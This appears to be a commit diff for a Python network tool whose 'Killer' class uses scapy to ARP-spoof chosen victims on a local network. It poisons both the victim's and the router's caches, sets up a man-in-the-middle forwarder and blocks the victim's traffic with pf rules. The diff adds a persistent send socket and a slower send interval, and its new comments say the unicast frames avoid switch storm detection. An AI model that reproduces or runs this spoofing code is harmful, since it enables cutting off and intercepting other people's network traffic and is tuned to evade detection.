1- from scapy .all import ARP , Ether , sendp , conf
1+ from scapy .all import ARP , Ether , conf , L2Socket
22from time import sleep
3+ import sys
34
45from networking .forwarder import MitmForwarder
56from tools .pfctl import ensure_pf_enabled , install_anchor , block_all_for , unblock_all_for
67from tools .utils import threaded , get_default_iface
78from constants import *
89
10+
911class Killer :
1012 def __init__ (self , router = DUMMY_ROUTER ):
1113 self .iface = get_default_iface ()
@@ -16,18 +18,61 @@ def __init__(self, router=DUMMY_ROUTER):
1618 self .storage = {}
1719 self .forwarders = {}
1820 self .pf_blocks = set ()
21+ self ._socket = None # Persistent L2 socket
22+
23+ def _get_socket (self ):
24+ """Get or create persistent L2 socket - prevents Windows socket exhaustion"""
25+ if self ._socket is None :
26+ try :
27+ iface = self .iface .guid if hasattr (self .iface , 'guid' ) and self .iface .guid else self .iface .name
28+ self ._socket = L2Socket (iface = iface )
29+ except Exception :
30+ self ._socket = None
31+ return self ._socket
32+
33+ def _send_packet (self , packet ):
34+ """Send packet using persistent socket, fallback to new socket if needed"""
35+ sock = self ._get_socket ()
36+ if sock :
37+ try :
38+ sock .send (packet )
39+ return
40+ except Exception :
41+ # Socket died, recreate
42+ self ._close_socket ()
43+
44+ # Fallback: direct send (creates new socket)
45+ try :
46+ from scapy .all import sendp
47+ iface = self .iface .guid if hasattr (self .iface , 'guid' ) and self .iface .guid else self .iface .name
48+ sendp (packet , iface = iface , verbose = 0 )
49+ except Exception :
50+ pass
51+
52+ def _close_socket (self ):
53+ """Close persistent socket"""
54+ if self ._socket :
55+ try :
56+ self ._socket .close ()
57+ except Exception :
58+ pass
59+ self ._socket = None
1960
2061 @threaded
21- def kill (self , victim , wait_after = 1 ):
62+ def kill (self , victim , wait_after = 2 ):
2263 """
23- Spoofing victim
64+ Spoofing victim.
65+ Default 2 second delay - ARP cache lasts 30-120s, no need to spam.
66+ Prevents Windows NDIS throttling.
2467 """
2568 if victim ['mac' ] in self .killed :
2669 return
2770
2871 self .killed [victim ['mac' ]] = victim
2972
3073 # Send ARP reply (is-at) with proper Ethernet destination to poison caches
74+ # Unicast to specific MAC, not broadcast - avoids switch storm detection
75+
3176 # Victim: tell victim that router IP is at our MAC
3277 to_victim = Ether (dst = victim ['mac' ])/ ARP (
3378 op = 2 ,
@@ -46,13 +91,11 @@ def kill(self, victim, wait_after=1):
4691 hwdst = self .router ['mac' ]
4792 )
4893
49- iface_to_use = self .iface .guid if hasattr (self .iface , 'guid' ) and self .iface .guid else self .iface .name
50-
5194 while victim ['mac' ] in self .killed \
5295 and self .iface .name != 'NULL' :
53- # Send packets to both victim and router (L2 frames)
54- sendp (to_victim , iface = iface_to_use , verbose = 0 )
55- sendp (to_router , iface = iface_to_use , verbose = 0 )
96+ # Send packets using persistent socket
97+ self . _send_packet (to_victim )
98+ self . _send_packet (to_router )
5699 sleep (wait_after )
57100
58101 self ._stop_forwarder (victim ['mac' ])
@@ -82,12 +125,12 @@ def unkill(self, victim):
82125 hwdst = self .router ['mac' ]
83126 )
84127
85- iface_to_use = self .iface .guid if hasattr (self .iface , 'guid' ) and self .iface .guid else self .iface .name
86128 if self .iface .name != 'NULL' :
87- # Send packets to both victim and router
129+ # Send restore packets 3 times
88130 for _ in range (3 ):
89- sendp (to_victim , iface = iface_to_use , verbose = 0 )
90- sendp (to_router , iface = iface_to_use , verbose = 0 )
131+ self ._send_packet (to_victim )
132+ self ._send_packet (to_router )
133+ sleep (0.1 )
91134 self ._stop_forwarder (victim ['mac' ])
92135 self ._remove_pf_block (victim ['ip' ])
93136
@@ -110,6 +153,8 @@ def unkill_all(self):
110153 self ._stop_forwarder (mac )
111154 for ip in list (self .pf_blocks ):
112155 self ._remove_pf_block (ip )
156+ # Close persistent socket when done
157+ self ._close_socket ()
113158
114159 def store (self ):
115160 """
0 commit comments